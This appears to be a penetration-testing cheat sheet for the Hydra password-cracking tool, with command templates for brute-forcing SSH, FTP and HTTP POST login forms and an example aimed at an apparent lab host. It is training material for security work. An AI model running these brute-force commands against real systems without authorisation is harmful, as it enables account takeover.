CtrlK

Pentest Notes / Exploitation / Password Cracking

Hydra

Basic Syntax

hydra -l [username] -P [password_file] [MACHINE_IP] [protocol]

Options

OptionDescription
-lsingle username
-Lusername file
-psingle password
-Ppassword file
-tsets the number of threads to spawn
-VVerbose output

SSH Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP] ssh

FTP Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP] ftp

HTTP POST Form Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP] http-post-form "[path_to_login_page]]/:username=^USER^&password=^PASS^:[F/S]=[message_to_check]" -V
F= Failure condition - String that appears when login has failed.
S= Success condtion - Use if output on successful login is known.
Eg: hydra -L tryfinanceme.local/users.txt -P pass_helios.txt tryfinanceme.local http-post-form "/helios/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"